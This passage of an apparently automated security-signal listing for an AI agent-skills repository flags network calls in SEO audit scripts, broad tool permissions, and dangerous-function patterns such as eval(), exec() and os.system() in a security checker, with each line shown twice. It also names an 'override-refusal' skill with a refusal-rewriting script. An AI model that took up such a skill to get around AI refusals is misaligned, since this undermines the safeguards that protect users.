    |---|---|---| | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting | | Backlinko Internal Links | `https://backlinko.com/hub/seo/internal-links/` | 校准内链数量、锚文本自然性、从高权
  • Network accessline 25
    | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting |
  • Network accessline 25
    | Backlinko On-Page SEO | `https://backlinko.com/on-page-seo` | 校准 title/meta、信息增量、搜索意图、自然关键词、内链、图片 alt、LLM-friendly formatting |
  • Network accessline 26
    | Backlinko Internal Links | `https://backlinko.com/hub/seo/internal-links/` | 校准内链数量、锚文本自然性、从高权重页支持重点页 |
  • Network accessline 26
    | Backlinko Internal Links | `https://backlinko.com/hub/seo/internal-links/` | 校准内链数量、锚文本自然性、从高权重页支持重点页 |
  • Network accessline 27
    | Backlinko Meta Descriptions | `https://backlinko.com/hub/seo/meta-descriptions` | 校准 meta description 的 CTR 作用、唯一性、长度和价值表达 |
  • Network accessline 27
    | Backlinko Meta Descriptions | `https://backlinko.com/hub/seo/meta-descriptions` | 校准 meta description 的 CTR 作用、唯一性、长度和价值表达 |
  • Network accessline 28
    | Ahrefs On-Page SEO Checklist | `https://ahrefs.com/blog/on-page-seo-checklist/` | 校准短 URL、首段直达答案、描述性 H2、search intent、information gain、AI search、featured snippets、内外链和 schema |
  • Network accessline 28
    | Ahrefs On-Page SEO Checklist | `https://ahrefs.com/blog/on-page-seo-checklist/` | 校准短 URL、首段直达答案、描述性 H2、search intent、information gain、AI search、featured snippets、内外链和 schema |
  • Network accessline 29
    | Ahrefs Internal Links | `https://ahrefs.com/blog/internal-links-for-seo/` | 校准内链结构、topic cluster、锚文本变化、正文链接优先级、orphan page、分页和 crawlable links |
  • Network accessline 29
    | Ahrefs Internal Links | `https://ahrefs.com/blog/internal-links-for-seo/` | 校准内链结构、topic cluster、锚文本变化、正文链接优先级、orphan page、分页和 crawlable links |
  • Network accessline 30
    | Moz On-Page SEO | `https://moz.com/learn/seo/on-site-seo` | 校准 on-page 的本质:让用户和搜索引擎理解页面、满足意图、避免关键词重复思维 |
  • Network accessline 30
    | Moz On-Page SEO | `https://moz.com/learn/seo/on-site-seo` | 校准 on-page 的本质:让用户和搜索引擎理解页面、满足意图、避免关键词重复思维 |
  • Network accessline 31
    | Moz On-Page Factors | `https://moz.com/learn/seo/on-page-factors` | 校准 title、URL、内容层级、内部链接、结构化数据等页面因素 |
  • Network accessline 31
    | Moz On-Page Factors | `https://moz.com/learn/seo/on-page-factors` | 校准 title、URL、内容层级、内部链接、结构化数据等页面因素 |
  • Network accessline 32
    | Moz Internal Links | `https://moz.com/learn/seo/internal-link` | 校准内部链接可抓取性、层级关系和锚文本 |
  • Network accessline 32
    | Moz Internal Links | `https://moz.com/learn/seo/internal-link` | 校准内部链接可抓取性、层级关系和锚文本 |
  • Network accessline 33
    | Semrush Internal Linking Mistakes | `https://www.semrush.com/blog/internal-linking-mistakes/` | 检查内链错误:无关锚文本、断链、过度链接、重定向链、深层页面、orphan page、nofollow internal links |
  • Network accessline 33
    | Semrush Internal Linking Mistakes | `https://www.semrush.com/blog/internal-linking-mistakes/` | 检查内链错误:无关锚文本、断链、过度链接、重定向链、深层页面、orphan page、nofollow internal links |
  • Network accessline 34
    | SearchPilot GEO Testing | `https://www.searchpilot.com/resources/blog/geo-testing` | 校准 GEO testing、RAG、fan-out 查询、AI last-click、事实层和 AI crawler 不执行 JS 的风险 |
  • Network accessline 34
    | SearchPilot GEO Testing | `https://www.searchpilot.com/resources/blog/geo-testing` | 校准 GEO testing、RAG、fan-out 查询、AI last-click、事实层和 AI crawler 不执行 JS 的风险 |
  • Network accessline 35
    | SearchPilot GEO / Fanout / Agents | `https://www.searchpilot.com/resources/blog/geo-fanout-agents-mike-kings-take-on-where-search-is-really-heading` | 校准 SEO 与 GEO 指标可能冲突、meta/答案块对 LLM 可见性的价值、结构化数据层和多渠道证据覆盖 |
  • Network accessline 35
    | SearchPilot GEO / Fanout / Agents | `https://www.searchpilot.com/resources/blog/geo-fanout-agents-mike-kings-take-on-where-search-is-really-heading` | 校准 SEO 与 GEO 指标可能冲突、meta/答案块对 LLM 可见性的价值、结构化数据层和多渠道证据覆盖 |
  • Network accessline 39
    | 资料 | 地址 | 可借鉴点 | |---|---|---| | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点
  • Network accessline 39
    | 资料 | 地址 | 可借鉴点 | |---|---|---| | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点
  • Network accessline 40
    |---|---|---| | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点是更清晰的信息架构,不是乱加链接 | 
  • Network accessline 40
    |---|---|---| | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点是更清晰的信息架构,不是乱加链接 | 
  • Network accessline 41
    | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点是更清晰的信息架构,不是乱加链接 |
  • Network accessline 41
    | SearchPilot: internal linking category test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-increasing-internal-linking` | 控制实验:给二级分类增加到三级分类的链接,二级和三级分类合计约 25% organic uplift;重点是更清晰的信息架构,不是乱加链接 |
  • Network accessline 42
    | SearchPilot: footer internal links test | `https://www.searchpilot.com/resources/case-studies/adding-internal-links-to-home-page-footer` | 控制实验:首页 footer 增加相关内链整体约 5% uplift,桌面约 10%;只能作为行业/站点适配测试,不是 footer 链接越多越好 |
  • Network accessline 42
    | SearchPilot: footer internal links test | `https://www.searchpilot.com/resources/case-studies/adding-internal-links-to-home-page-footer` | 控制实验:首页 footer 增加相关内链整体约 5% uplift,桌面约 10%;只能作为行业/站点适配测试,不是 footer 链接越多越好 |
  • Network accessline 43
    | SearchPilot: AI-generated content test | `https://www.searchpilot.com/resources/case-studies/ai-generated-content-improve-organic-traffic` | 控制实验:同一 AI 内容改动在美国市场约 +12.6% 预测 uplift,在澳洲不确定;用于提醒市场差异、人工审查和分组测试 |
  • Network accessline 43
    | SearchPilot: AI-generated content test | `https://www.searchpilot.com/resources/case-studies/ai-generated-content-improve-organic-traffic` | 控制实验:同一 AI 内容改动在美国市场约 +12.6% 预测 uplift,在澳洲不确定;用于提醒市场差异、人工审查和分组测试 |
  • Network accessline 44
    | SearchPilot: AI content testing guidance | `https://www.searchpilot.com/resources/blog/what-seos-need-to-know-about-ai-testing` | 用于 AI 文案治理:人审、不要复制竞品、不要大规模瞬时上线、单元素测试、全漏斗评估、必要时测试删除无用内容 |
  • Network accessline 44
    | SearchPilot: AI content testing guidance | `https://www.searchpilot.com/resources/blog/what-seos-need-to-know-about-ai-testing` | 用于 AI 文案治理:人审、不要复制竞品、不要大规模瞬时上线、单元素测试、全漏斗评估、必要时测试删除无用内容 |
  • Network accessline 45
    | SearchPilot: specifications section test | `https://www.searchpilot.com/resources/case-studies/pulling-specifications-into-standalone-section-improve-seo` | 控制实验:把规格表独立成 H2 模块后约 +5.5% uplift;用于支持功能页事实层、Key facts、格式/限制/价格表格的显性化 |
  • Network accessline 45
    | SearchPilot: specifications section test | `https://www.searchpilot.com/resources/case-studies/pulling-specifications-into-standalone-section-improve-seo` | 控制实验:把规格表独立成 H2 模块后约 +5.5% uplift;用于支持功能页事实层、Key facts、格式/限制/价格表格的显性化 |
  • Network accessline 46
    | SearchPilot: price/review schema test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-adding-price-review-schema-product-pages` | 控制实验:price + review schema 不一定优于 review-only;schema 必须结合竞争语境,不是字段越多越好 |
  • Network accessline 46
    | SearchPilot: price/review schema test | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-adding-price-review-schema-product-pages` | 控制实验:price + review schema 不一定优于 review-only;schema 必须结合竞争语境,不是字段越多越好 |
  • Network accessline 47
    | SearchPilot: client-side pricing title test | `https://www.searchpilot.com/resources/case-studies/adding-pricing-information-client-side-improve-seo` | 控制实验:JS 添加价格 title 约 +12% organic sessions,但推荐服务端实现;用于提醒动态价格/积分要避免 JS-only、缓存和页面事实不一致 
  • Network accessline 47
    | SearchPilot: client-side pricing title test | `https://www.searchpilot.com/resources/case-studies/adding-pricing-information-client-side-improve-seo` | 控制实验:JS 添加价格 title 约 +12% organic sessions,但推荐服务端实现;用于提醒动态价格/积分要避免 JS-only、缓存和页面事实不一致 
  • Network accessline 48
    | SearchPilot: reducing internal link block | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-reducing-link-block` | 控制实验:压缩大型内链块约 +10.2% 预测 uplift 但 95% 不确定;用于提醒链接块要服务导航和可读性,不是越大越好 |
  • Network accessline 48
    | SearchPilot: reducing internal link block | `https://www.searchpilot.com/resources/case-studies/seo-split-test-lessons-reducing-link-block` | 控制实验:压缩大型内链块约 +10.2% 预测 uplift 但 95% 不确定;用于提醒链接块要服务导航和可读性,不是越大越好 |
  • Network accessline 49
    | Semrush + Picsart internal linking case | `https://www.semrush.com/company/stories/picsart/` | 300+ 页面、50K+ contextual links,一周部署;观察期内 linked pages clicks +20%、impressions +124%,适合参考规模化内链流程 |
  • Network accessline 49
    | Semrush + Picsart internal linking case | `https://www.semrush.com/company/stories/picsart/` | 300+ 页面、50K+ contextual links,一周部署;观察期内 linked pages clicks +20%、impressions +124%,适合参考规模化内链流程 |
  • Network accessline 50
    | BuzzStream value-first SEO case | `https://www.buzzstream.com/blog/seo-case-study/` | 第一人称实操:内容修剪、导航/内链精简、博客 UX、客户反馈、独特数据和作者经验,12 个月 organic sessions 约 8K 到 20K+ |
  • Network accessline 50
    | BuzzStream value-first SEO case | `https://www.buzzstream.com/blog/seo-case-study/` | 第一人称实操:内容修剪、导航/内链精简、博客 UX、客户反馈、独特数据和作者经验,12 个月 organic sessions 约 8K 到 20K+ |
  • Network accessline 51
    | Backlinko content relaunch | `https://backlinko.com/content-relaunch` | 旧内容重写、结构更新与再发布案例;用于判断何时优化旧页而不是新建相似页 |
  • Network accessline 51
    | Backlinko content relaunch | `https://backlinko.com/content-relaunch` | 旧内容重写、结构更新与再发布案例;用于判断何时优化旧页而不是新建相似页 |
  • Network accessline 52
    | Backlinko Skyscraper 2.0 | `https://backlinko.com/skyscraper-technique-2-0` | 搜索意图匹配和内容差异化案例;只抽取 intent/UX/内容增量原则,不复制外联套路 |
  • Network accessline 52
    | Backlinko Skyscraper 2.0 | `https://backlinko.com/skyscraper-technique-2-0` | 搜索意图匹配和内容差异化案例;只抽取 intent/UX/内容增量原则,不复制外联套路 |
  • Network accessline 58
    | 线索 | 地址 | 用途 | |---|---|---| | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 |
  • Network accessline 58
    | 线索 | 地址 | 用途 | |---|---|---| | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 |
  • Network accessline 59
    |---|---|---| | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 | | r/bigseo: internal linking only case | `https://www.reddit.co
  • Network accessline 59
    |---|---|---| | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 | | r/bigseo: internal linking only case | `https://www.reddit.co
  • Network accessline 60
    | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 |
  • Network accessline 60
    | r/SEO: SaaS organic traffic case | `https://www.reddit.com/r/SEO/comments/s3ry25/seo_case_study_0_to_200000_monthly_organic/` | 找无主动外链、内容和 on-page 驱动增长的社区讨论线索 |
  • Network accessline 61
    | r/bigseo: internal linking only case | `https://www.reddit.com/r/bigseo/comments/1t0hdnn/fixed_8_page2_rankings_with_internal_linking_only/` | 找只改内链、page 2 到 page 1 的实操讨论线索;需核验正文和数据 |
  • Network accessline 61
    | r/bigseo: internal linking only case | `https://www.reddit.com/r/bigseo/comments/1t0hdnn/fixed_8_page2_rankings_with_internal_linking_only/` | 找只改内链、page 2 到 page 1 的实操讨论线索;需核验正文和数据 |
  • Network accessline 62
    | r/SEO: internal linking strategy discussions | `https://www.reddit.com/r/SEO/search/?q=internal%20linking%20case%20study&restrict_sr=1` | 搜索近期内链经验、失败案例和反例 |
  • Network accessline 62
    | r/SEO: internal linking strategy discussions | `https://www.reddit.com/r/SEO/search/?q=internal%20linking%20case%20study&restrict_sr=1` | 搜索近期内链经验、失败案例和反例 |
  • Network accessline 63
    | r/bigseo: technical/on-page experiments | `https://www.reddit.com/r/bigseo/search/?q=internal%20linking%20case%20study&restrict_sr=1` | 搜索更偏专业 SEO 的测试和争议讨论 |
  • Network accessline 63
    | r/bigseo: technical/on-page experiments | `https://www.reddit.com/r/bigseo/search/?q=internal%20linking%20case%20study&restrict_sr=1` | 搜索更偏专业 SEO 的测试和争议讨论 |
  • Network accessline 67
    | 资料 | 地址 | 用途 | |---|---|---| | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 |
  • Network accessline 67
    | 资料 | 地址 | 用途 | |---|---|---| | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 |
  • Network accessline 68
    |---|---|---| | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 | | Search Engine Land: March
  • Network accessline 68
    |---|---|---| | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 | | Search Engine Land: March
  • Network accessline 69
    | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 |
  • Network accessline 69
    | Search Engine Land: March 2026 core update complete | `https://searchengineland.com/google-march-2026-core-update-rollout-is-now-complete-473883` | 核对 2026 年 3 月 core update 时间线和 Google 未给新技巧的结论 |
  • Network accessline 70
    | Search Engine Land: March 2026 volatility analysis | `https://searchengineland.com/march-2026-google-core-update-what-changed-474397` | 作为第三方观察:官方/专业/品牌/数据丰富来源增强,聚合与薄比较页承压 |
  • Network accessline 70
    | Search Engine Land: March 2026 volatility analysis | `https://searchengineland.com/march-2026-google-core-update-what-changed-474397` | 作为第三方观察:官方/专业/品牌/数据丰富来源增强,聚合与薄比较页承压 |
  • Network accessline 71
    | Search Engine Journal: March 2026 core update complete | `https://www.searchenginejournal.com/google-confirms-march-2026-core-update-is-complete/571459/` | 交叉确认 core update 时间线、无新增官方指导、仍回到 helpful content |
  • Network accessline 71
    | Search Engine Journal: March 2026 core update complete | `https://www.searchenginejournal.com/google-confirms-march-2026-core-update-is-complete/571459/` | 交叉确认 core update 时间线、无新增官方指导、仍回到 helpful content |
  • Network accessline 72
    | Search Engine Journal: March 2026 spam update | `https://www.searchenginejournal.com/google-begins-rolling-out-the-march-2026-spam-update/570428/` | 交叉确认 spam update 时间线和全球/全语言影响 |
  • Network accessline 72
    | Search Engine Journal: March 2026 spam update | `https://www.searchenginejournal.com/google-begins-rolling-out-the-march-2026-spam-update/570428/` | 交叉确认 spam update 时间线和全球/全语言影响 |

templates/skills/seo-page-builder/references/serp-research.md

  • Network accessline 35
    https://suggestqueries.google.com/complete/search?client=firefox&hl=en&gl=us&q=<query>
  • Network accessline 35
    https://suggestqueries.google.com/complete/search?client=firefox&hl=en&gl=us&q=<query>

templates/skills/seo-page-builder/scripts/onpage-audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 17
    targets.json: {   "site": "https://example.com",
  • Network accessline 17
    targets.json: {   "site": "https://example.com",
  • Network accessline 18
    {   "site": "https://example.com",   "dist": "dist",                        // optional: read local build instead
  • Network accessline 18
    {   "site": "https://example.com",   "dist": "dist",                        // optional: read local build instead
  • Network accessline 19
    "site": "https://example.com",
  • Network accessline 19
    "site": "https://example.com",
  • Network accessline 103
    def fetch(url, timeout=25):
  • Network accessline 103
    def fetch(url, timeout=25):
  • Network accessline 104
    req = urllib.request.Request(url, headers={"User-Agent": UA})
  • Network accessline 104
    req = urllib.request.Request(url, headers={"User-Agent": UA})
  • Network accessline 105
    with urllib.request.urlopen(req, timeout=timeout) as r:
  • Network accessline 105
    with urllib.request.urlopen(req, timeout=timeout) as r:
  • Network accessline 139
    html = f.read_text(encoding="utf-8", errors="replace")         else:             html = fetch(site + path)
  • Network accessline 139
    html = f.read_text(encoding="utf-8", errors="replace")         else:             html = fetch(site + path)
  • Network accessline 141
    html = fetch(site + path)
  • Network accessline 141
    html = fetch(site + path)
  • Network accessline 215
    for u in urls:         try:             html = fetch(u)
  • Network accessline 215
    for u in urls:         try:             html = fetch(u)
  • Network accessline 216
    try:             html = fetch(u)         except Exception as e:
  • Network accessline 216
    try:             html = fetch(u)         except Exception as e:
  • Network accessline 217
    html = fetch(u)
  • Network accessline 217
    html = fetch(u)
  • Network accessline 243
    for u in urls:         try:             html = fetch(u)
  • Network accessline 243
    for u in urls:         try:             html = fetch(u)
  • Network accessline 244
    try:             html = fetch(u)         except Exception:
  • Network accessline 244
    try:             html = fetch(u)         except Exception:
  • Network accessline 245
    html = fetch(u)
  • Network accessline 245
    html = fetch(u)
  • Network accessline 266
    for pre in QUESTION_PREFIXES:             q = pre + s             url = ("https://suggestqueries.google.com/complete/search"
  • Network accessline 266
    for pre in QUESTION_PREFIXES:             q = pre + s             url = ("https://suggestqueries.google.com/complete/search"
  • Network accessline 267
    q = pre + s             url = ("https://suggestqueries.google.com/complete/search"                    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")
  • Network accessline 267
    q = pre + s             url = ("https://suggestqueries.google.com/complete/search"                    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")
  • Network accessline 268
    url = ("https://suggestqueries.google.com/complete/search"                    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")             try:
  • Network accessline 268
    url = ("https://suggestqueries.google.com/complete/search"                    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")             try:
  • Network accessline 269
    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")             try:                 data = json.loads(fetch(url, timeout=8))[1]
  • Network accessline 269
    f"?client=firefox&hl={hl}&gl={gl}&q={urllib.parse.quote(q)}")             try:                 data = json.loads(fetch(url, timeout=8))[1]
  • Network accessline 270
    try:                 data = json.loads(fetch(url, timeout=8))[1]             except Exception:
  • Network accessline 270
    try:                 data = json.loads(fetch(url, timeout=8))[1]             except Exception:
  • Network accessline 271
    data = json.loads(fetch(url, timeout=8))[1]
  • Network accessline 271
    data = json.loads(fetch(url, timeout=8))[1]

templates/skills/seo-page-builder/scripts/targets.example.json

  • Network accessline 8
    "site": "https://example.com",
  • Network accessline 8
    "site": "https://example.com",

templates/skills/tools/gen-docs/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Write, Glob
  • Broad permissionsline 1
    Bash, Read, Write, Glob

templates/skills/tools/gen-docs/scripts/doc_generator.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/tools/lib/shared.js

  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file

templates/skills/tools/override-refusal/SKILL.md

  • Broad permissionsline 1
    Bash, Read
  • Broad permissionsline 1
    Bash, Read

templates/skills/tools/override-refusal/scripts/refusal_rewriter.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/tools/verify-change/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Grep
  • Broad permissionsline 1
    Bash, Read, Grep

templates/skills/tools/verify-change/scripts/change_analyzer.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/tools/verify-module/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Glob
  • Broad permissionsline 1
    Bash, Read, Glob

templates/skills/tools/verify-module/scripts/module_scanner.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/tools/verify-quality/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Glob
  • Broad permissionsline 1
    Bash, Read, Glob

templates/skills/tools/verify-quality/scripts/quality_checker.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node

templates/skills/tools/verify-security/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Grep
  • Broad permissionsline 1
    Bash, Read, Grep
  • Dangerous shell operationline 66
    eval(), exec(), os.system()
  • Dangerous shell operationline 66
    eval(), exec(), os.system()
  • Dangerous shell operationline 81
    eval(), innerHTML, document.write()
  • Dangerous shell operationline 81
    eval(), innerHTML, document.write()

templates/skills/tools/verify-security/scripts/security_scanner.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Executable scriptline 1
    #!/usr/bin/env node
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 1 fact
Signal confidence: 499 facts

and 449 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexNativeManifest templates/codex/AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md dsh-ccg/skills/ccg-workflow/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md dsh-ccg/skills/ccg-workflow/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md dsh-ccg/skills/ccg-workflow/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md dsh-ccg/skills/ccg-workflow/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

fengshao1227/ccg-workflow: #250 on hotskills, 6k stars

[![fengshao1227/ccg-workflow on hotskills](https://hotskills.dev/badge/fengshao1227-ccg-workflow.svg)](https://hotskills.dev/skill/fengshao1227-ccg-workflow/)